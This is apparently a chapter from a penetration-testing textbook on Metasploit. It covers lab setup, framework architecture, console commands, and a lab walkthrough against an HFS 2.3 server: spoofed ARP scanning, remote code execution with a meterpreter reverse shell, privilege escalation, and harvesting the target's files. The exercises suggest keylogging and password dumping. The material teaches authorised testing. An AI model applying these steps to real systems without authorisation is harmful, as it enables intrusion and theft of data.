"100 percent security" to remain a myth for long
- Anupam Tiwari
Penetration testing is the art of performing a deliberate attack on a network, web application, server, or any device that requires a thorough check-up from a security perspective. The idea of a penetration test is to uncover flaws while simulating real-world threats. A penetration test is performed to figure out vulnerabilities and weaknesses in the systems so that vulnerable systems can stay immune to threats and malicious activities.
Achieving success in a penetration test largely depends on using the right set of tools and techniques. A penetration tester must choose the right set of tools and methodologies in order to complete a test. While talking about the best tools for penetration testing, the first one that comes to mind is Metasploit. It is considered to be one of the most practical tools to carry out penetration testing today. Metasploit offers a wide variety of exploits, a great exploit development environment, information gathering and web testing capabilities, and much more.
This chapter will help you understand the basics of penetration testing and Metasploit, which will help you warm up to the pace of this book.
In this chapter, you will do the following:
- Learn about using Metasploit in different phases of a penetration test
- Follow the basic commands and services associated with Metasploit
- Gain knowledge of the architecture of Metasploit and take a quick look at the libraries
- Use databases for penetration test management
Throughout the course of this book, I will assume that you have a basic familiarity with penetration testing and have at least some knowledge of Linux and Windows operating systems.
Before we move onto Metasploit, let's first set up our basic testing environment. We require two operating systems for this chapter:
- Kali Linux
- Windows Server 2012 R2 with Rejetto HTTP File Server (HFS) 2.3 server
Therefore, let us quickly set up our environment and begin with the Metasploit jiu-jitsu.
Before mingling with Metasploit, we need to have a test lab. The best idea for establishing a test lab is to gather different machines and install different operating systems on them. However, if we only have a single computer, the best idea is to set up a virtual environment.
Virtualization plays a major role in penetration testing today. Due to the high cost of hardware, virtualization plays a cost-effective role in penetration testing. Emulating different operating systems under the host operating system not only saves you cost but also cuts down on electricity and space. Setting up a virtual penetration test lab prevents any modifications on the actual host system and allows us to perform operations in an isolated environment. A virtual network allows network exploitation to run on an isolated network, thus preventing any modifications or the use of network hardware of the host system.
Moreover, the snapshot feature of virtualization helps preserve the state of the virtual machine at a particular interval of time. Hence, snapshots prove to be very helpful, as we can compare or reload a previous state of the operating system while testing a virtual environment without reinstalling the entire software in case the files modify after attack simulation.
Virtualization expects the host system to have enough hardware resources, such as RAM, processing capabilities, drive space, and so on, to run smoothly.
For more information on snapshots, refer to https://www.virtualbox.org/manual/ch01.html#snapshots.
So, let us see how we can create a virtual environment with the Kali operating system (the most favored OS for penetration testing, which contains Metasploit Framework by default).
To create virtual environments, we need virtual emulator software. We can use either of the two most popular ones, VirtualBox and VMware Player. So, let us begin the installation by performing the following steps:
- Download VirtualBox (http://www.virtualbox.org/wiki/Downloads) and set it up according to your machine's architecture.
- Run the setup and finalize the installation.
- Now, after the installation, run the VirtualBox program as shown in the following screenshot:
- Now, to install a new operating system, select
- Type an appropriate name in the
Namefield and choose the operating system
Version, as follows:
- For Kali Linux, select
Linux 2.6/3.x/4.x(64-bit)based on your system's architecture
- This may look something similar to what is shown in the following screenshot:
- Select the amount of system memory to allocate, typically 1 GB for Kali Linux.
- The next step is to create a virtual disk that will serve as a hard drive to the virtual operating system. Create the disk as a dynamically allocated disk. Choosing this option will consume just enough space to fit the virtual operating system, rather than consuming the entire chunk of physical hard disk of the host system.
- The next step is to allocate the size for the disk; typically, 20-30 GB space is enough.
- Now, proceed to create the disk and, after reviewing the summary, click on
- Now, click on
Startto run. For the very first time, a window will pop up showing the selection process for a startup disk. Proceed with it by clicking
Startafter browsing the system path for Kali OS's
.isofile from the hard drive. This process may look similar to what is shown in the following screenshot:
You can run Kali Linux in a
Live mode, or you can opt for
Graphical install to install it persistently, as shown in the following screenshot:
For the complete persistent installation guide to Kali Linux, refer to http://docs.kali.org/category/installation. For installing Metasploit on Windows, refer to an excellent guide at https://community.rapid7.com/servlet/JiveServlet/downloadBody/2099-102-11-6553/windows-installation-guide.pdf.
Now that we have completed the setup of Kali Linux, let us talk about the big picture: Metasploit. Metasploit is a security project that provides exploits and tons of reconnaissance features to aid a penetration tester. Metasploit was created by H.D. Moore back in 2003, and since then, its rapid development has led it to be recognized as one of the most popular penetration testing tools. Metasploit is entirely a Ruby-driven project and offers a great deal of exploits, payloads, encoding techniques, and loads of post-exploitation features.
Metasploit comes in various editions, as follows:
- Metasploit Pro: This edition is a commercial edition, offers tons of great features such as web application scanning and exploitation and automated exploitation, and is quite suitable for professional penetration testers and IT security teams. The Pro edition is used for advanced penetration tests and enterprise security programs.
- Metasploit Express: This is used for baseline penetration tests. Features in this version of Metasploit include smart exploitation, automated brute forcing of the credentials, and much more. This version is quite suitable for IT security teams in small to medium-sized companies.
- Metasploit Community: This is a free version with reduced functionality when compared to the Express edition. However, for students and small businesses, this edition is a favorable choice.
- Metasploit Framework: This is a command-line version with all manual tasks such as manual exploitation, third-party import, and so on. This release is entirely suitable for developers and security researchers.
You can download Metasploit from the following link:https://www.rapid7.com/products/metasploit/download/editions/
Throughout this book, we will be using the Metasploit Community and Framework versions. Metasploit also offers various types of user interfaces, as follows:
- The graphical user interface (GUI) interface: This has all the options available at the click of a button. This interface offers a user-friendly interface that helps to provide cleaner vulnerability management.
- The console interface: This is the most preferred interface and the most popular one as well. This interface provides an all-in-one approach to all the options offered by Metasploit. This interface is also considered one of the most stable interfaces. Throughout this book, we will be using the console interface the most.
- The command-line interface: This is the more potent interface that supports the launching of exploits to activities such as payload generation. However, remembering each and every command while using the command-line interface is a difficult job.
- Armitage: Armitage by Raphael Mudge added a neat hacker-style GUI interface to Metasploit. Armitage offers easy vulnerability management, built-in NMAP scans, exploit recommendations, and the ability to automate features using the Cortana scripting language. An entire chapter is dedicated to Armitage and Cortana in the latter half of this book.
For more information on the Metasploit community, refer to https://community.rapid7.com/community/metasploit/blog.
Before we put our hands onto the Metasploit Framework, let us understand the basic terminology used in Metasploit. However, the following modules are not just terminologies, but modules that are the heart and soul of the Metasploit project:
- Exploit: This is a piece of code which, when executed, will trigger the vulnerability at the target.
- Payload: This is a piece of code that runs at the target after a successful exploitation is done. It defines the type of access and actions we need to gain on the target system.
- Auxiliary: These are modules that provide additional functionalities such as scanning, fuzzing, sniffing, and much more.
- Encoder: These are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall.
- Meterpreter: This is a payload that uses in-memory stagers based on DLL injections. It provides a variety of functions to perform at the target, which makes it a popular choice.
Metasploit comprises various components, such as extensive libraries, modules, plugins, and tools. A diagrammatic view of the structure of Metasploit is as follows:
Let's see what these components are and how they work. It is best to start with the libraries that act as the heart of Metasploit.
Let's understand the use of various libraries, as explained in the following table:
Handles almost all core functions, such as setting up sockets, connections, formatting, and all other raw functions.
Provides the underlying API and the actual core that describes the framework.
Provides friendly API support to modules.
We have many types of modules in Metasploit, and they differ regarding their functionality. We have payload modules for creating access channels to exploited systems. We have auxiliary modules to carry out operations such as information gathering, fingerprinting, fuzzing an application, and logging into various services. Let's examine the basic functionality of these modules, as shown in the following table:
Payloads are used to carry out operations such as connecting to or from the target system after exploitation or performing a particular task such as installing a service and so on.
Payload execution is the next step after the system is exploited successfully.
The widely used meterpreter shell is a standard Metasploit payload.
Auxiliary modules are a special kind of module that performs specific tasks such as information gathering, database fingerprinting, scanning the network to find a particular service and enumeration, and so on.
Encoders are used to encode payloads and the attack vectors to (or intending to) evade detection by antivirus solutions or firewalls.
NOP generators are used for alignment which results in making exploits stable.
The actual code that triggers a vulnerability.
Gathering knowledge of the architecture of Metasploit, let us now run Metasploit to get hands-on knowledge of the commands and different modules. To start Metasploit, we first need to establish a database connection so that everything we do can be logged into the database. However, usage of databases also speeds up Metasploit's load time by making use of caches and indexes for all modules. Therefore, let us start the
postgresql service by typing in the following command at the Terminal:
root@beast:~# service postgresql start
Now, to initialize Metasploit's database, let us initialize
msfdb as shown in the following screenshot:
It is clearly visible in the preceding screenshot that we have successfully created the initial database schema for Metasploit. Let us now start the Metasploit database using the following command:
root@beast:~# msfdb start
We are now ready to launch Metasploit. Let us issue
msfconsole in the Terminal to start Metasploit, as shown in the following screenshot:
Welcome to the Metasploit console. Let us run the
help command to see what other commands are available to us:
The commands in the preceding screenshot are core Metasploit commands which are used to set/get variables, load plugins, route traffic, unset variables, print version, find the history of commands issued, and much more. These commands are pretty general. Let's see the module-based commands, as follows:
Everything related to a particular module in Metasploit comes under the
module controls section of the
Help menu. Using the preceding commands, we can select a particular module, load modules from a particular path, get information about a module, show core and advanced options related to a module, and even can edit a module inline. Let us learn some basic commands in Metasploit and familiarize ourselves with the syntax and semantics of these commands:
To select a particular module to start working with.
msf>use exploit/unix/ftp/vsftpd_234_backdoor msf>use auxiliary/scanner/portscan/tcp
To see the list of available modules of a particular type.
msf>show payloads msf> show options
To set a value to a particular object.
msf>set payload windows/meterpreter/reverse_tcp msf>set LHOST 192.168.10.118 msf> set RHOST 192.168.10.112 msf> set LPORT 4444 msf> set RPORT 8080
To assign a value to a particular object globally, so the values do not change when a module is switched on.
msf>setg RHOST 192.168.10.112
To launch an auxiliary module after all the required options are set.
To launch an exploit.
To unselect a module and move back.
To list the information related to a particular exploit/module/auxiliary.
msf>info exploit/windows/smb/ms08_067_netapi msf(ms08_067_netapi)>info
To find a particular module.
To check whether a particular target is vulnerable to the exploit or not.
To list the available sessions.
msf>sessions [session number]
To list system information of the compromised host.
To list the network interfaces on the compromised host.
meterpreter>ifconfig meterpreter>ipconfig (Windows)
List of IP and MAC addresses of hosts connected to the target.
To send an active session to background.
To drop a cmd shell on
To get the current user details.
To escalate privileges and gain system access.
To gain the process id of the meterpreter access.
To list all the processes running at the target.
If you are using Metasploit for the very first time, refer to http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands for more information on basic commands.
Before we jump into an example penetration test, we must know why we prefer Metasploit to manual exploitation techniques. Is this because of a hacker-like Terminal that gives a pro look, or is there a different reason? Metasploit is an excellent choice when compared to traditional manual techniques because of certain factors, which are as follows:
- Metasploit Framework is open source
- Metasploit supports large testing networks by making use of CIDR identifiers
- Metasploit offers quick generation of payloads which can be changed or switched on the fly
- Metasploit leaves the target system stable in most cases
- The GUI environment provides a fast and user-friendly way to conduct penetration testing
Covering the basics commands of the Metasploit framework, let us now simulate a real-world penetration test with Metasploit. In the upcoming section, we will cover all the phases of a penetration test solely through Metasploit except for the pre-interactions phase which is a general phase to gather the requirements of the client and understand their expectations through meetings, questionnaires, and so on.
In the upcoming exercise, we assume that we have our system connected to the target network via Ethernet or Wi-Fi. The target operating system is Windows Server 2012 R2 with IIS 8.0 running on port 80 and HFS 2.3 server running on port 8080. We will be using the Kali Linux operating system for this exercise.
Footprinting and scanning is the first phase after the pre-interactions and, based on the type of testing approach (black box, white box, or grey box), the footprinting phase will differ significantly. In a black box test scenario, we will target everything since no prior knowledge of the target is given, while we will perform focused application- and architecture-specific tests in a white box approach. A grey box test will combine the best of both types of methodology. We will follow the black box approach. So, let's fire up Metasploit and run a basic scan. However, let us add a new workspace to Metasploit. Adding a new workspace will keep the scan data separate from the other scans in the database and will help to find the results in a much easier and more manageable way. To add a new workspace, just type in
workspace -a [name of the new workspace] and, to switch the context to the new workspace, simply type in
workspace followed by the name of the workspace, as shown in the following screenshot:
In the preceding screenshot, we can see that we added a new workspace
NetworkVAPT and switched onto it. Let us now perform a quick scan of the network to check all the live hosts. Since we are on the same network as that of our target, we can perform an ARP sweep scan using the module from
auxiliary/scanner/discovery/arp_sweep, as shown in the following screenshot:
We choose a module to launch with the
use command. The
show options command will show us all the necessary options required for the module to work correctly. We set all the options with the
set keyword. In the preceding illustration, we spoof our MAC and IP address by setting
SHOST to anything other than our original IP address. We used
192.168.10.1, which looks similar to the router's base IP address. Hence, all the packets generated via the ARP scan will look as if produced by the router. Let's run the module and also check how valid our statement is by analyzing traffic in Wireshark, as shown in the following screenshot:
We can clearly see in the preceding screenshot that our packets are being spoofed from the MAC and IP address we used for the module:
msf auxiliary(arp_sweep) > run 192.168.10.111 appears to be up. Scanned 256 of 256 hosts (100% complete) Auxiliary module execution completed msf auxiliary(arp_sweep) >
From the obtained results, we have one IP address which appears to be live, that is,
192.168.10.111 Let us perform a TCP scan over
192.168.10.111 and check which ports are open. We can perform a TCP scan with the portscan module from
auxiliary/scanner/portscan/tcp, as shown in the following screenshot:
Next, we will set
RHOSTS to the IP address
192.168.10.111. We can also increase the speed of the scan by using a high number of threads and setting the concurrency, as shown in the following screenshot:
It's advisable to perform banner-grabbing over all the open ports found during the scan. However, we will focus on the HTTP-based ports for this example. Let us find the type of web server running on
8080 using the
auxiliary/scanner/http/http_version module, as shown in the following screenshot:
We load the
http_version scanner module using the
use command and set
192.168.10.111. First, we scan port
80 by setting
80, which yields the result as
IIS/8.5 and then we run the module for port
8080 which depicts that the port is running the
HFS 2.3 web server.
After completing the scanning stage, we know we have a single IP address, that is,
HFS 2.3 file server and
IIS 8.5 web services.
You must identify all the services running on all the open ports. We are focusing only on the HTTP-based services simply for the sake of an example.
IIS 8.5 server is not known to have any severe vulnerabilities which may lead to the compromise of the entire system. Therefore, let us try finding an exploit for the HFS server. Metasploit offers a
search command to search within modules. Let's find a matching module:
We can see that issuing the
search HFS command, Metasploit found two matching modules. We can simply skip the first one as it doesn't correspond to the HFS server. Let's use the second one, as shown in the preceding screenshot. Next, we only need to set a few of the following options for the exploit module along with the payload:
Let's set the values for
SRVHOST to the IP address of our system, and
LHOST to the IP address of our system. Setting the values, we can just issue the
exploit command to send the exploit to the target, as shown in the following screenshot:
meterpreter session opened! We have successfully gained access to the target machine. The HFS is vulnerable to remote command execution attack due to a poor regex in the file
ParserLib.pas, and the exploit module exploits the HFS scripting commands by using
%00 to bypass the filtering.
Maintaining access to the target or keeping a backdoor at the startup is an area of critical concern if you belong to the law enforcement industry. We will discuss advanced persistence mechanisms in the upcoming chapters. However, when it comes to a professional penetration test, post-exploitation tends to be more important than maintaining access. Post-exploitation gathers vitals from the exploited systems, cracks hashes to admin accounts, steals credentials, harvests user tokens, gains privileged access by exploiting local system weaknesses, downloads and uploads files, views processes and applications, and much, much more.
Let us perform and run some quick post-exploitation attacks and scripts:
Running some quick post-exploitation commands such as
getuid will find the user who is the owner of the exploited process, which in our case is the administrator. We can also see the process ID of the exploited process by issuing the
getpid command. One of the most desirable post-exploitation features is to figure out the ARP details if you need to dig deeper into the network. In
meterpreter, you can find ARP details by issuing the
arp command as shown in the preceding screenshot.
We can escalate the privileges level to the system level using the
getsystem command if the owner of the exploited process is a user with administrator privileges.
Next, let's harvest files from the target. However, we are not talking about the general single file search and download. Let's do something out of the box using the
file_collector post-exploitation module. What we can do is to scan for certain types of files on the target and download them automatically to our system, as shown in the following screenshot:
In the preceding screenshot, we ran a scan on the
Users directory (by supplying a
-d switch with the path of the directory) of the compromised system to scan for all the files with the extension
.pptx (using a
-f filter switch followed by the search expression). We used a
-r switch for the recursive search and
-o to output the path of files found to the
files file. We can see in the output that we have two files. Additionally, the search expression
*.doc|*.pptx means all the files with extension
.pptx, and the
| is the OR operator.
Let's download the found files by issuing the command, as illustrated in the following screenshot:
We just provided a
-i switch followed by the file
files, which contains the full path to all the files at the target. However, we also supplied a
-l switch to specify the directory on our system where the files will be downloaded. We can see from the preceding screenshot that we successfully downloaded all the files from the target to our machine.
Covering your tracks in a professional penetration test environment may not be suitable because most of the blue teams use logs generated in the penetration test to identify issues and patterns or write IDS/IPS signatures as well.
In this chapter, we learned the basics of Metasploit and phases of penetration testing. We learned about the various syntax and semantics of
Metasploit commands. We saw how we could initialize databases. We performed a basic scan with Metasploit and successfully exploited the scanned service. Additionally, we saw some basic post-exploitation modules that aid in harvesting vital information from the target.
If you followed correctly, this chapter has successfully prepared you to answer the following questions:
- What is Metasploit Framework?
- How do you perform port scanning with Metasploit?
- How do you perform banner-grabbing with Metasploit?
- How is Metasploit used to exploit vulnerable software?
- What is post-exploitation and how can it be performed with Metasploit?
For further self-paced practice, you can attempt the following exercises:
- Find a module in Metasploit which can fingerprint services running on port 21.
- Try running post-exploitation modules for keylogging, taking a picture of the screen, and dumping passwords for other users.
- Download and run Metasploitable 2 and exploit the FTP module.
In Chapter 2, Identifying and ScanningTargets, we will look at the scanning features of Metasploit in depth. We will look at various types of services to scan, and we will also look at customizing already existing modules for service scanning.